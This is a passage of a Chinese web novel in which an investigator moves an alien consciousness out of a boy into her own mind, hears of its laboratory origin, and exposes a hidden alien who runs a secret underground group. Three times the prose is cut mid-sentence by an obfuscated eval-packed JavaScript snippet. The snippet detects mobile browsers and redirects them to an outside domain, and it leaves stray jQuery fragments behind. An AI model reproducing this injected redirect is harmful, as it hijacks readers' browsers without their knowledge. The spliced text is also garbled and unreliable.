如果只是一个见习调查员,或者一个普通的调查员,她在内外两城之间行动,会处处受阻。 单无绮又想起了铁平康。 铁平康是友爱部稽查四队的队长,已经是一个小领导,但即便如此,他也十分被动。 因为赫勒瓦尔的异变,铁平康向团结部申请支援,而他竟然在那时才得知,上任调查司长已经牺牲的噩耗。 上任调查司长,早已在两年前的壁外调查中牺牲。 外城无法被政治中心完全辐射。 铁平康的情报网,延迟了足足两年。 现在的单无绮,只是一个微不足道的见习调查员,更别提,她的名声在四部中并不好。 她的地位,只会比铁平康更被动。 基地实行封闭化管理,越接近权力中心,消息就越灵通,说出的话也越有分量。 单无绮曾经是首长副官,但三年时间,已经足够权利场重新洗牌。 ——调查司司长。 ——她需要得到三名核心党员的赞成票,除了阎银华和梅,她还需要再找一位支持者。 她可以找谁? 萨摩?或者……尤娜? 一道极轻的敲门声突然响起。 单无绮精神一凛。 她起床,抓了抓凌乱的黑发,打开紧闭的房门。 是维沙尔。 维沙尔是个漂亮男孩。 他精致的五官在夜色中愈发清透,朦胧的月光照在他沙色的头发和眼瞳上,让他仿佛一团虚幻的影子,下一秒就会消散。 单无绮看着维沙尔,他赤着脚,没有穿鞋。 难怪单无绮没有听到脚步声。 “单姐。”维沙尔细声道。 “怎么了?睡不着吗?”单无绮把他迎进来,让他坐在椅子上。 维沙尔摇头。 单无绮用外套盖住维沙尔的腿。 维沙尔推辞了两下,但单无绮一直坚持,他无从抗拒,只能绷直了脚背,紧张地坐在椅子上。 单无绮托腮坐在维沙尔对面。 她觉得基地应该给自己颁个劳模奖章:“找我什么事?” “我很担心你。”维沙尔的声音细若蚊蚋。 他的声音太小了,脑袋也埋得低低的,单无绮甚至无法通过他的嘴唇判断发音。 但单无绮听清了。 她笑了一声:“我没事。” 随后,单无绮追问:“你在担心我什么?” “回城的路上,你从车上第一个跳下去,我看到你的背摔在地上,从那个时候,我就一直在担心。”维沙尔很少讲这么长的句子,一番话说出来,耳尖变得绯红,“你疼吗?你的伤严重吗?你……还好吗?” 维沙尔越说头越低,到最后,整个人几乎蜷缩起来。 维沙尔羞怯又寡言,存在感低得可怜。 单无绮看着维沙尔,想起了自己和首长的谈话。 ——维沙尔是基地唯一保留异种意识的人类。 ——他对自己的担心,是出于人类残存的本能,还是异种对人类的模仿? 但…… 单无绮盯着维沙尔柔软的发顶。 到目前为止,无论对维沙尔还是维果,单无绮都没有生出一丝敌意。 她的直觉从未示警。 “……我想问你一个问题,可以么?”维沙尔突然开口。 他仍然低埋着头,单无绮无法看到他的表情。 “单姐,我不该说这个,抱歉……”维沙尔道歉到一半,又被什么东西勒住喉咙似的,生硬地改变了话题,“回到基地后,你离开了很久,是见到了什么人么?” 单无绮定定地盯着维沙尔。 她凝视着那个名为“维果”的灵魂:“是的。” “抱歉……” “没关系。”单无绮轻声道,仿佛对一棵含羞草说话,“夜还很长。” “抱歉……”维沙尔每次都以道歉为起手式,但单无绮能看出来,他真的为 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即使拥有人类的身体,但如果灵魂是一个异种,犹如强行塞进不合身的皮套,时间久了,对肉身和精神都是灭顶的折磨。 “你知道了。”维果道。 “因为你经不起一点试探。”单无绮道,“我甚至来不及出牌,你就迫不及待地摊牌了。” “人类一向狡诈。” “你又摊牌了。”单无绮有点无奈。 维果沉默。 良久,他低下头。 他并不为单无绮猜到自己的身份而气馁,或者说,单无绮这个人,在他眼中本就不值一提。 “你知道了多少?”维果问。 “对我来说,很多,但对你来说,或许只有百分之一。”单无绮道,“你想听一听吗?” 维果嗤笑了一声。 他的笑声嘲弄又尖利:“人类真是该死的团结——在你见到那个男人时,我们之间的精神链接断掉了,从那一刻起,我就知道,即使你有一具异种的身体,但你永远还是一个人类。” 随后,维果发出自嘲的低语:“连这个孱弱的小东西也……我寄附在他的灵识上,本想着他一离开研究所,我就脱离出去,但他硬生生把我囚禁在体内这么多年。” “早知如此,我还不如一直待在培养罐里。”维果的语气有点唏嘘。 单无绮的瞳孔猛地收缩。 维沙尔…… 单无绮沉默而苦涩地咀嚼这个名字。 她从来没想到,维沙尔是主动把维果囚禁在身体里的。 维果,不,应该叫他零了。 零是基地捕获的第一只异种,意义非凡,立场不明,当零主动进入维沙尔的身体时,没人知道零到底想做什么。 维沙尔只是一个小孩子。 他本来可以放任零离开,但他关住了零。 四部之中,高层对维沙尔的情况并非一无所知,但他们选择了冷眼旁观,并将维沙尔安排进团结部,让这个唯一拥有开枪权的部门,将枪口时刻对准维沙尔。 何其理智。 何其残忍。 26. 实验体 “而现在,我想脱离这具身体。”零说。 零的话让单无绮一瞬间提起了警惕。 “这具身体太孱弱了,比风中摇曳的烛火还要不堪一击……我没有开玩笑,这个人类小家伙没有任何特殊之处,他在我钻进灵识后,拼尽全身的力气抓住我,几年下来,精神已经几近枯竭了。”零摊摊手,脸上一副无所谓的表情,“鱼还没有长出脚就蹦跳着上岸,除了渴死在滩涂上,没有第二个结局。” 单无绮没有接话。 “这孩子叫……维沙尔?维沙尔·莱恩对吧?”零小声咕哝一句,又对单无绮道,“如果你还算喜欢他,就然我钻进你的灵识吧,我只是想要离开研究所,没打算让这个可怜的小东西成为我的祭品。” “你竟然是这种同情心泛滥的角色吗?”单无绮双手握拳,放在膝盖上,一副随时准备重拳出击的姿态,“你是基地第一只被捕获的异种,那些人在你身上做了许多实验,而你……” “我是主动被捕获的。”零道。 这是首长告诉单无绮的情报之一。 但从当事人……不,当事异种的嘴里听到,又是另一回事。 “这是那个男人告诉你的,对吧?”零低低地笑了一声,“但连他都不知道,我被你们捉住了两次。” 两次? 单无绮皱眉。 研究所的创始人们去世后,零一直在培养罐里沉睡。 如果他被捉住了两次,那么第一次,是什么时候? 单无绮想起零对她讲的,筑墙者的故事。 讲述那个故事时,零的口吻仿佛一个亲历者。 城墙建起之前,零和筑墙者……是否早已相识? “我的诞生,比你们想象得更早。”零的眼神飘忽了一下。 他扭头看向窗外。 高耸的城墙隔绝了夜色,但月光依然澄澈地撒落大地。 犹如数百年前。 犹如亿万年前。 “科学的尽头是神学,科学域之外是不可知域,在人类踏出那个已知的圆圈时,走出的每一步都要向神明祈祷。”零的声音轻得仿佛一缕夜曲。 单无绮无法判断零的话是真是假。 现在的人类仍然挣扎在温饱线上,填饱肚子才是最重要的命题。 他们犹如一群走出丛林的长毛猴子,一边用打来的猎物充饥,一边眺望海面上波光粼粼的浪花。 他们的方舟还未搭建。 他们的文明还未启航。 “我是上一纪人类创造的实验体,一个从无到有诞生的生命,每一个基因片段都经过精心编辑。”零道,“创生是科学的禁忌,但像我这样的存在不止一个,我的诞生,并非他们打破的第一条禁忌,也并非他们打破的唯一一条禁忌。” 他仿佛真的在回忆,而非编织弥天的谎言:“逃出来前,我终日沉睡在培养罐里,等待被电流唤醒,进入下一场未知的实验。” “但一个小研究员放走了我。” “我还记得她的脸,她的山根上有一片褐色的雀斑,头发和眼睛都是褐色的,戴着一副红色细框眼镜——在人均四个博士学位的帝国研究所,她的长相着实算不上聪明。” “她用特制安全锤锤爆了我的培养罐,我顺着流溢的营养液滑到地面上。” “随后我发现,整个实验室都乱糟糟的。” “有什么东西正在这座建筑的地下鼓动着,像爆炸前的蓄势,像巨龙的心跳。” “我逃跑了,无需旁人多言。” “实验体逃逸是Ⅱ级事故,但走廊上,各种各样的实验体都在逃跑。还有那些研究员,头发散乱,眼镜斜挂在脸上,毫无形象可言。” “他们也在逃,和我一样。” “我跑出实验室,我第一次看到了天空。” “但那片天空,和我被灌输的记忆截然不同,既不是灿烂美丽的白昼,也不是幽静深邃的黑夜,而是一片摇摇欲坠的猩红。” “那种来自地底的鼓动感更强烈了,整个世界都在震颤。” “我像只无头苍蝇一样乱跑,耳边充斥着尖锐的鸣笛声。” “然后,一场毁天灭地的大爆炸爆发了。” 零的声音停住了。 那张属于维沙尔的稚嫩脸庞上,充斥着劫后余生的后怕,额头上遍布着豆大的冷汗。 单无绮喃喃道:“大灾变……” “我不知道大灾变是怎么爆发的,那个时候,我甚至意识不到发生了什么。”零继续道,“醒来后,我在荒芜的大地上毫无目的地流浪了很久,我遇到了一些实验体,日后,他们被你们称为‘异种’。” “上一纪人类残留在地面的装置一一损毁了,它加重了污染。我遇到了一队人类,他们似乎是上一纪的学者,但踏进污染区后,他们无一例外,纷纷死去了。” “他们如同一簇簇熄灭的火种,这片大地因此沉寂了很久。” “之后,我找到一处喜欢的废墟,在里面陷入沉睡。” “直到一阵脚步声将我惊醒。” “我从废墟里钻出来,上面已经长满了植被。” “我小心地滑行过去,看到他们穿着简单的衣服,毫无防护。” “于是我出声,告诉他们这里很危险。” “我被顺理成章地带回去了,关住我的,甚至只是一个脆弱的木头笼子。” 单无绮定定地盯着零。 她没有在那张稚嫩的面孔上,找到一丝撒谎的痕迹。 零说的是真的。 “一开始,我有一点害怕,因为我是实验体,是躺在实验台上任人宰割的存在。”零低声道,近乎絮语,“但是,当罩在笼子上的黑布揭开时,我只看到了一片荒凉的草棚。” “那个时候,人类和刚脱掉长毛的狒狒没有任何区别。” “我饿极了,我在思考要不要吃掉你们,毕竟你们这么弱小,即使我不吃掉你们,你们也会在这片荒野中死去。” “但领头者看穿了我的心思。” “他友好地把我拎起来,告诉我捕猎队很快就回来了,如果我乖乖的,他愿意把最嫩的一块后腿肉分给我。” 零闭上眼。 那段记忆似乎非常不堪回首,但这一刻,零脸上闪烁着的情感,和人类毫无区别。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14544409|153866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >那是一种复杂的情感,和凭本能行动的动物完全不同。 怀念,痛苦,眷恋。 甚至还有一丝微不可察的恨意。 零沉默了很久,久到月上中天,银辉撒满窗台。 单无绮安静地等待着。 零想做什么不是最重要的。 重要的是,零对人类的情感到底是什么。 是爱?是恨?还是爱恨掺半? 人类的第三条路,是变成保留人类意识的异种,如果零对人类是友好的,他或许能成为计划的助力之一。 “……我和他的故事,并不值得讲述。”零睁开眼,沙色的眼瞳闪烁晶莹,“总之,城墙建成的第二天,我逃走了,直到七年后,我第二次被你们捉住。” “一开始,我只是有一点好奇,好奇失去他之后,你们将走上怎样一条道路——但出乎我的预料,即使失去了那样一位伟大的领袖,你们依然活得很好。” “你们将上一纪人类的遗产一一拾起,墙内勉强有了城镇的规模。当然,这一切轮不到我置喙,在你们眼中,我只是一个被活捉的异种。” “简陋的实验室里,我躺上了实验台。” “我不在乎你们在我身上做的那些实验,因为我就是在上一纪人类的实验室里诞生的。”零道,“而且你们的手法太拙劣了,无非就是把我的触手砍掉,记录多久能长出来,以及把我的血液进行各种比对,试图解析我的血液成分。” “有时候我都看不下去,用人类的语言指导你们应该怎么做。”零的表情竟然有一点怀念,“上一纪,那些人均四个博士学位的精英全死了,剩余的学者也死在了污染区里,活下来的人都有强健的身体,却不一定拥有智慧的大脑。” “我第一次说话时,那些人吓了一大跳。”零嘻嘻地笑起来,笑声尖利又讥诮,“他们手忙脚乱地抓起东西对准我,但他们很快发现,我的指导是正确的,而恰巧,他们正在为一篇难产的报告苦恼不已。” 这太诡异了。 单无绮大为震撼。 “研究所的第一篇论文,第一作者是一个异种,你不觉得滑稽吗?”零捧腹大笑,“当然,那个时候的研究所没有第一作者这个概念。稍微有点学识的学者都死了,放在上一纪,他们顶多只是一群在垃圾区拾荒的黑户。” 零沙色的眼瞳睁得大大的,倒映出单无绮沉肃的脸庞:“如果你有兴趣,可以去资料室查一查当年的论文,我的化名是‘维尔斯·楚’。” 如果庄修文在这里,他说不定能把那篇论文当场背出来。 单无绮忍不住想道。 “有人来视察时,我会钻进培养罐,配合研究员表演,但大多数时候,我是他们的老师。”零道,“他们太笨了,整整过了三年,他们才独立产出了第一篇论文,而且我既不要求格式,也不强制引用,只要把自己的论点阐述清楚就可以了。” “那篇论文是什么?”单无绮问。 “《群体决策过程中的集体思维研究》……好像是叫这个。”零回忆了一会儿,道。 集体决策思维! 单无绮的瞳孔微不可察地收缩了一下。 27. 摇篮曲 集体决策思维,是“蜂”操控傀儡的理论基础。 而这条理论的第一篇论文,竟然和零有千丝万缕的关系。 单无绮一瞬间下定了决心。 无论如何,她必须把零绑在自己的脑袋里。 零是基地捕捉的第一只异种,他知道许多不为人知的秘辛。 而且,就算抛开这些,即使是为了维沙尔,单无绮也必须这么做。 让一个孩子承担这份沉重的代价,未免太过无情。 “你可真是该死的心软。”看出单无绮的想法,零哼笑道,“你不担心我所说的一切都是谎言吗?我完全可以骗取你的信任,然后蛀穿你的精神,让你变成一具为我所用的肉身。” 单无绮笑了。 她指指自己的脑袋:“如果你真想这么做,早在第一次我们建立精神链接时,你就可以下手了。” 零的笑容僵硬了一瞬。 “而且,我并不认为你在说谎。”单无绮又道。 她看向窗外。 晚间供电早已结束,但她还记得城墙之上,那繁星一般的灯光。 仅仅三百余年,人类第一基地就从当初的一穷二白,发展到现在的科技水平。 零让人类少走了许多不必要的弯路。 他对人类的态度,称得上怜惜。 “从维沙尔的脑袋里出来吧,我会成为你的新房东。”单无绮重新看向零,“我该怎么做?” “闭眼。”零道。 单无绮闭上双眼。 一只柔软的小手覆上了单无绮的额头。 那是小孩子的手,它属于维沙尔。 维沙尔本来可以拥有一个快乐的童年,但零的存在让他被迫长大了。 这种沉重的代价,就交给大人来承担吧。 单无绮安静地想道。 单无绮没有等待太久。 不多时,一股气流从零的掌下流出,仿佛一缕清凉的风。 单无绮没有感受到一丝痛苦。 比起第一次的天旋地转,这一次,单无绮没有任何排异反应。 维沙尔歪歪地坐在椅子上,双眸紧闭。 他睡着了。 单无绮沉默片刻,用外套裹起维沙尔,将他抱到床上。 月光撒在维沙尔的脸上,皮肤苍白得近乎透明。 “他很久没有好好睡一觉了。”零在单无绮的脑中说,“每一个夜晚,他都不敢入睡,生怕我在睡梦中逃走。一开始,我以为他坚持不了多久,但在他第一次高烧昏倒后,我意识到,他孱弱的身体是真的,绑住我的决心也是真的。” “你坏透了。”单无绮点评道,“你祸害了一个正在长身体的小孩子。” “是啊,我坏透了。”零竟然认可了。 二人齐齐沉默了一阵。 “你的身体至今还在研究所的培养罐里,你只是一缕意识,一个精神体。”单无绮看着熟睡的维沙尔,湛蓝的眼瞳闪烁着柔和的光,说出的话却像刀子一样锋利,“收起你的傲慢和偏见,我不介意和你做朋友,但如果你生出歪心思,别怪我不客气。” “愚蠢的女人。”零色厉内荏道,“我随时可以吃掉你的脑子。” “你大可试试。”单无绮笑道。 零沉默。 “你不敢,这就对了。”单无绮道,“你最不该做的,就是拿性命要挟我。我固然惜命,但总有什么高于一切。” 零嘲讽道:“忠诚的狗。” “多谢夸奖。”单无绮把这句话当做赞美收下。 “我不会永远待在你的脑子里,等到合适的时候,我会离开!”零尖利地说。 “记得提前报备。”单无绮淡淡提醒。 零:“……” 零在单无绮脑中发出一道意义不明的叫声。 “闹够了没?闹够了就住嘴。”任由零叫了一通后,单无绮揉揉耳朵。 零发出一道轻蔑的嗤声。 “你以为你是谁?”零道,“你没有资格命令我!” “是个硬骨头啊,刚好,比起谈判桌上的唇枪舌剑,我更擅长直接把枪抵在对方的下巴上。”单无绮无所谓地笑了一下。 她解下腰间的手枪,对准自己的脑袋。 零不可思议地尖叫:“愚蠢的人类,你在做什么?” “你选择了我,这是好事。”单无绮平静地说,“你是擅长操控精神的异种,对我来说,这是一片完全陌生的领域,但我知道,如果失去寄附的肉身,你的结局一定不会很好。” 零沉默了一瞬。 随后,零讥诮地说:“多么伟大的觉悟啊,你竟然用死亡来威胁我!谁知道你敢不敢……” 砰! 单无绮开了一枪。 零的声音一瞬间消失了。 单无绮睁着双眼,眉毛都没有皱一下。 良久,零的声音微弱地响起:“我……还活着。” “啊,空弹。”单无绮放下抵在太阳穴上的手枪,打开转轮查看弹槽,“你的运气不错。” 零颤声道:“你这个疯子。” “你为什么离开研究所?”单无绮直接切换了话题。 “我凭什么告诉你?”零道。 单无绮再次举起枪。 “放下!”零的声音里有着货真价实的恐惧,“我说!我说还不行吗?” 单无绮的枪口仍然抵着太阳穴。 这一刻,零生出了悔意。 他从未想过,单无绮是这样一个狠角色。 “……我要收回我的‘孢子’。”零轻声道,“它不见了,我感应到它被偷走了。” “孢子?” “那是我的孩子,我唯一的孩子。”零趾高气扬的气势消失了,取而代之的,是一抹难以察觉的温柔,“我的基因由帝国研究所编辑,我不可能有自己的孢子,我……本来应该孤独地死去。” “外面那些异种,难道不是你的族人吗?”单无绮问道。 “我和他们的区别,就像游泳的鱼和骑自行车的鱼一样大。”零答道。 诡异的比喻。 “鱼不可能骑自行车。”单无绮皱眉。 “于异种而言,我也是个异种。”零的声音很轻。 单无绮沉默。 她的心中,竟然有了一丝说不清道不明的怜悯。 “总之,我要找回我的孢子。”零道,“在那之后,如果你希望我离开基地,我会离开。而且……我再也不会被你们捉住了。” “你的肉身还在研究所。”单无绮提醒他。 “留给你们吧。”零道,“比起孢子,那具即将腐烂的尸体不值一提。” 单无绮放下手枪。 “我会帮你找到孢子。”单无绮道,“作为回报,你要帮我成为调查司司长。” “仅仅是调查司司长吗?”零笑着反问,“你的名字不值得我铭记,但我仍然听过你的传闻,被流放前,你是前途无量的首长副官,基地的二把手,一人之下的存在。” 单无绮沉默。 “……我把维沙尔送回去。”单无绮跳过了这个话题。 她小心地抱起维沙尔,发现这个小家伙轻得仿佛只有一把骨头。 单无绮抱着维沙尔,按照零的指引前往维沙尔的房间。 一阵微弱的啜泣声吸引了单无绮的注意力。 “谁在哭?”单无绮轻声咕哝。 “那群孩子吧。”零道。 单无绮想起阮女士说过的话。 外城的那场大火,至今燃烧在孩子们的噩梦里。 她将维沙尔送回去,又踮着脚,靠近发出哭声的房间。 一盏提灯放在房间门口。 房间的门虚掩着。 透过门上小小的窗子,单无绮看到,阮女士坐在啜泣的孩子身边,轻柔地抚摸对方的脸蛋。 阮女士戴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14559071|153866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着黑色长手套,没有露出一寸皮肤。 孩子仍在止不住地啜泣。 阮女士低声安抚。 见始终没有效果,阮女士安静了片刻。 随后,轻柔的歌声在房间内响起。 ——那是一首摇篮曲。 阮女士的声音有一种奇妙的魔力。 单无绮站在门外,怔怔地听着门缝里传出的歌声。 她几乎陷进去了。 “醒一醒!”零突然道。 单无绮猛地回神。 温柔的歌声仍然萦绕在耳畔,但一瞬间,单无绮的后背爬满了冷汗。 这歌声有问题! 零的提醒非常及时。 单无绮清醒时,那个哭闹的孩子已经睡着了。 阮女士唱完最后一句,戴着手套的手爱怜地摸了摸孩子的脸蛋。 犹豫片刻后,阮女士摘下手套。 单无绮的瞳孔猛地收缩。 月光明澈,恍若白昼。 月光下,阮女士的双手长满了鳞片,柔美的线条被坚硬的鳞片覆盖,泛着幽静的冷光。 ——那是异种的鳞片! ——阮禾的母亲,阮真莎女士,是一个隐藏起来的异种! 单无绮后退了一步。 她的脚步声已经足够轻,但这份微小的动静,依然引起了阮女士的注意。 “谁?”阮女士抬起头。 单无绮的呼吸一瞬间停滞了。 心脏在胸腔里激烈地跳动。 单无绮站在原地,疯狂思考对策。 “……我的孢子。”零的声音颤抖着出现,“我的孢子……在她身上!” 单无绮瞪大双眼。 阮女士站起身,朝门外走来。 单无绮扶住墙。 零的精神波动极其紊乱,他被刚才的发现彻底搅乱了心神,连带着单无绮也头痛欲裂。 “冷静!”单无绮在脑中喝令。 “我的孢子……我的孢子!”零的声音一瞬间愤怒至极,“它的气息怎么这么微弱……卑鄙的人类,她怎么敢?!” 单无绮掏出手枪。 零的失控超出她的预期,她已经做好了最坏的打算。 但一个声音突然出现在单无绮身后。 “单姐?”阮禾揉着眼睛,睡眼朦胧,“你怎么在这里?” 门内外,零和阮女士同时安静了。 单无绮的右手握着枪,手心有一点濡湿。 单无绮轻声道:“我听到了孩子的哭声。” “妈妈的提灯在这儿,她一定在里面哄他们。”阮禾咕哝道。 阮禾推开门。 阮女士坐在床头,覆满鳞片的双手已经戴上手套。 “妈妈,”阮禾的声音听起来有点没睡醒,“是谁在哭啊?” “……是艾米丽。”阮女士答。 “您去睡觉吧,我来照看他们。” “没关系,你先休息。” 在阮女士的劝说下,阮禾打着瞌睡离开了。 单无绮站在门外。 那盏提灯仍放在门口。 柔和的灯光下,阮女士的轮廓格外朦胧。 她坐在床边,低垂着头,安静地凝视熟睡的小孩子。 单无绮打开保险栓。 脑袋里,零尖利地吐出一连串掺杂着异种语言的脏话。 “卑鄙的人类!”零疯狂输出,“我*异种粗口*要把你大卸八块!我的孢子!你*异种粗口*对我的孢子做了什么?!” “闭嘴!”单无绮冷声道。 随后,单无绮将枪口对准阮女士。 “我们谈谈?”单无绮问。 阮女士盯着单无绮漆黑的枪口。 月光撒上阮女士格外苍白的脸庞。 遮面的细格黑纱下,那双不纯蓝的眼眸,一瞬间变成了瑰丽的紫色。 “好。”阮女士答。 28. “蜂”与“蝉”(一) 单无绮的心情非常糟糕。 她没有想到,阮禾的母亲竟然是一个异种。 “出来聊。”单无绮持枪的手一颤不颤,“孩子已经睡了,这是我们两个人的事情,别让无辜的人卷进来。” 阮女士沉默了一瞬。 她穿着浆洗过度的漆黑长裙,当她安静地坐在孩子们的床头,优雅娴静的姿态仿佛临水自照的水仙花。 若非她主动脱下那对手套,没人能想到,这位美丽的女子竟然是一个异种。 阮女士垂眸凝视熟睡的孩子。 在单无绮的安静注视中,她俯下身子,隔着细格黑纱,在孩子的脸上轻轻留下一个吻。 她起身。 从始至终,单无绮的枪口一直对准阮女士的脑袋。 当阮女士走到单无绮面前时,窗外的月光穿过玻璃,投射到这位母亲不纯蓝的双眸中。 阮禾的眼睛和阮女士一模一样,在特定的光线下,她们的瞳色都会短暂地变成瑰丽的罗兰紫。 但阮女士…… 不,应该称她为阮真莎了。 和阮禾不同,当瞳色发生变化时,阮真莎的瞳孔,会在一瞬之间飞快地收缩成两道细缝,犹如遇光闭合瞳孔的蛇类。 这和她温和的气质格格不入,甚至让她凭空增添了一份诡谲。 一个服丧的幽灵,一朵午夜的水晶兰。 “您很谨慎,单副官。”阮真莎道。 “我已经不是副官了,现在的我,是团结部调查司的见习员。”单无绮低声道。 阮真莎唇边的微笑十分缥缈。 “但在我们心中,您永远是单副官。”阮真莎答道。 我们? 这个主语引起了单无绮的注意。 没等单无绮细想,阮真莎对单无绮颔首示意,竟然直接绕过单无绮,提起放在门口的那盏提灯,缓慢地向走廊尽头走去。 她的意思是让单无绮跟上去。 单无绮驻足片刻,维持着举枪的姿势,跟上了阮真莎。 能在贫苦的外城经营福利院,还被基地授佩铁勋章,阮真莎的身上一定有许多秘密。 单无绮缺乏情报。 即使阮真莎是引诱单无绮上钩的诱饵,单无绮也不介意咬上一口。 阮真莎和单无绮一前一后,前者提灯,后者举枪。 月光撒在二人身上,竟然比阮真莎手中的提灯还要明亮。 “您为何一直对我举枪呢?”阮真莎突然问道。 阮真莎的声音非常轻柔,带着波澜不惊的平静。 在单无绮看来,阮真莎缺乏一种活人的生气,比起会说会笑的阮禾,阮真莎像一尊蒙着轻纱的圣母像,美丽、缥缈、遥远。 阮真莎漆黑的长裙,更是加重了这一观感。 “因为你是一个异种。”单无绮回答了阮真莎的问题。 单无绮不知道阮真莎在闲聊还是在套话,脑中残留的记忆,不足以让她进行系统的判断。 很多时候,单无绮只能把一切交给直觉。 “……”阮真莎微不可察地停顿了一下。 而后,这位女士捏紧冰凉细长的灯柄,问出了第二个问题。 “您为何不直接对我开枪呢?”阮真莎问道。 “如果我正面回答你这个问题,会显得我屁股很歪。”单无绮的嘴皮子很快,这一刻,她伶牙俐齿的模样非常像梅,“你要知道,我是官方认证的异种,无论我开枪与否,我的动机都很容易被曲解。” 阮真莎低声道:“我并无此意。” “你是阮禾的母亲,能教养出这样优秀的女儿,我决定短暂地相信你的为人。”单无绮道,“我对你举枪,是因为你是个异种,而我是团结部的党员;我不对你开枪,是因为抓住你做坏事前,我们仍是同胞。” 阮真莎笑着呼出一口气。 “真好。”她道,“即使您忘记了一切,但您还是单副官。” 此后,阮真莎没有再开口。 在阮真莎的带领下,单无绮来到了走廊尽头。 走廊尽头有一个房间,房门落着锁。 阮真莎用随身携带的钥匙开了锁,转动钥匙时,她拧了好几下,明显很久没有打开过。 阮真莎打开房间。 单无绮盯着房间地面的某块地砖。 “那块砖的颜色不对。”单无绮道。 “那块砖下是地道入口,它通往我们秘密集会的地方。”阮真莎面容平静地扔出惊天大雷。 秘密集会。 一个组织。 “你们不知道九条禁令吗?”单无绮微微闭眼。 “九条禁令只是首长管理基地的手段,而非目的。”阮真莎的语气依然温和,“铁血手腕下,羊群为了生存会暂时屈服于牧鞭,但挥鞭子的人总会忘记,即使羊群被驯服,头上仍有一对锋利的角。” 外城真的开始失控了。 单无绮安静地想道。 阮真莎掀开了那块地砖,一个黑漆漆的通道出现在单无绮眼前。 阮真莎提着那盏提灯:“要跟来看看么?” 阮真莎走进地道。 单无绮摸了摸颈上的拘束器。 她站在原地,犹豫了片刻,最终跟了上去。 地道明显由人工挖掘,两侧的土壁十分粗糙。 阮真莎和单无绮依然一前一后。 但这一次,单无绮没有举枪。 “您之前和我提起九条禁令。”向地道深处行走的过程中,阮真莎再一次开口了,“您认为它合理吗?” “又一个让我歪屁股的问题。”单无绮答。 阮真莎低低地笑了一声。 “抱歉,我不擅长交流,这是敏感的话题,而我已经很久、很久没有和旁人提起这些了。”阮真莎手中的提灯微微摇曳,“让我想一想,和陌生人展开一场友好而不失深度的谈话,应该以什么话题开头呢?也许我该问候您:今天的天气怎么样?” “我没太关心,总之,没下雨的天气都是好天气。”单无绮死鱼眼,“顺带一提,今天是我回来的六天里,过得最累的一天。” “抱歉。”阮真莎道。 二人沉默了一阵。 “……九条禁令就是坨狗屎。”单无绮终于受不了这种氛围,主动拾起上一个话题,“你要举报就举报吧,反正我在首长面前也是这么说的。” “极具个人情绪的评价。”阮真莎道,“但它具体有多‘狗屎’,您有想过吗?” “别学我说脏话。”单无绮道。 “抱歉。”阮真莎道,“但身处外城,说下流话是融入当地文化的一种手段。” 单无绮的眼皮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14566153|153866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抬了抬。 她问:“你不是外城人?” “我是跟随我的丈夫来到外城的。”阮真莎笑了笑,“他已经死了。” “……节哀。” “他为自己的理想而死,我并不为他感到哀伤。”阮真莎道,“说回之前的话题吧——九条禁令,它几乎成为首长的代表性政令,它将公民限制在一个描着死线的框里,让公民连转圜的余裕都没有。” “它剥夺了自由。”单无绮附和道。 “但它的出发点是合理的。”阮真莎道。 单无绮再次抬起眼皮。 “基地的资源有限,这是每一位公民心知肚明的事实,无论是否接受过教育,他们都知道自己的肚子有没有填饱。”阮真莎的声音十分轻柔,仿佛在讲睡前故事,“单副官,您忘记了很多事,但您要知道,人类对贫穷和饥饿的忍耐度,远远超过想象的极限,越接近底层,这份忍耐度就越高。” “越贫苦的人,幸福阈值越低。”单无绮道,“俗称没吃过没见过。” “九条禁令出台后,乃至第二次人类筛选计划实行前,外城公民甚至十分配合。”阮真莎道,“团结、友爱、勤劳、共荣,对基地的归属感和集体荣誉感支撑着他们,那段时间,因为配合九条禁令而饿死,甚至是光荣的。” 单无绮沉默。 这话听起来简直道反天罡。 “但一切毁于第二次人类筛选计划。”阮真莎道。 “公民们终于受不了了,对吗?我知道很多人都饿死了。”单无绮问道。 她已经从首长口中听过这件事。 第一次人类筛选计划,罪犯直接流放,而良民中,优者入内城,劣者入外城。 第二次人类筛选计划,三成的外城人饿死在春天里。 “您的情报网很强大,我有点不敢相信,您真的失忆了。”阮真莎赞美道,“是的,很多人饿死了,但饿死的只有外城人。” 听到阮真莎的话,单无绮陷入了沉思。 每个人的描述都不可避免地带着点蒙太奇。 三成的外城人饿死,和只有外城人饿死,完全是两个量级。 前者是天灾。 后者是人祸。 “当外城人勒紧裤腰带,连地里的种子都挖出来吃掉时,内城人的餐桌上却摆着涂满黄油的面包。”阮真莎摇摇头,“当外城知道这个残酷的事实后,他们出离愤怒了。他们扛着锄头和镰刀,第一次集体违反了九条禁令,汇聚在隔断内城和外城的城墙下,向墙内的人讨要说法。” “他们得到说法了吗?”单无绮问。 “没有。”阮真莎答。 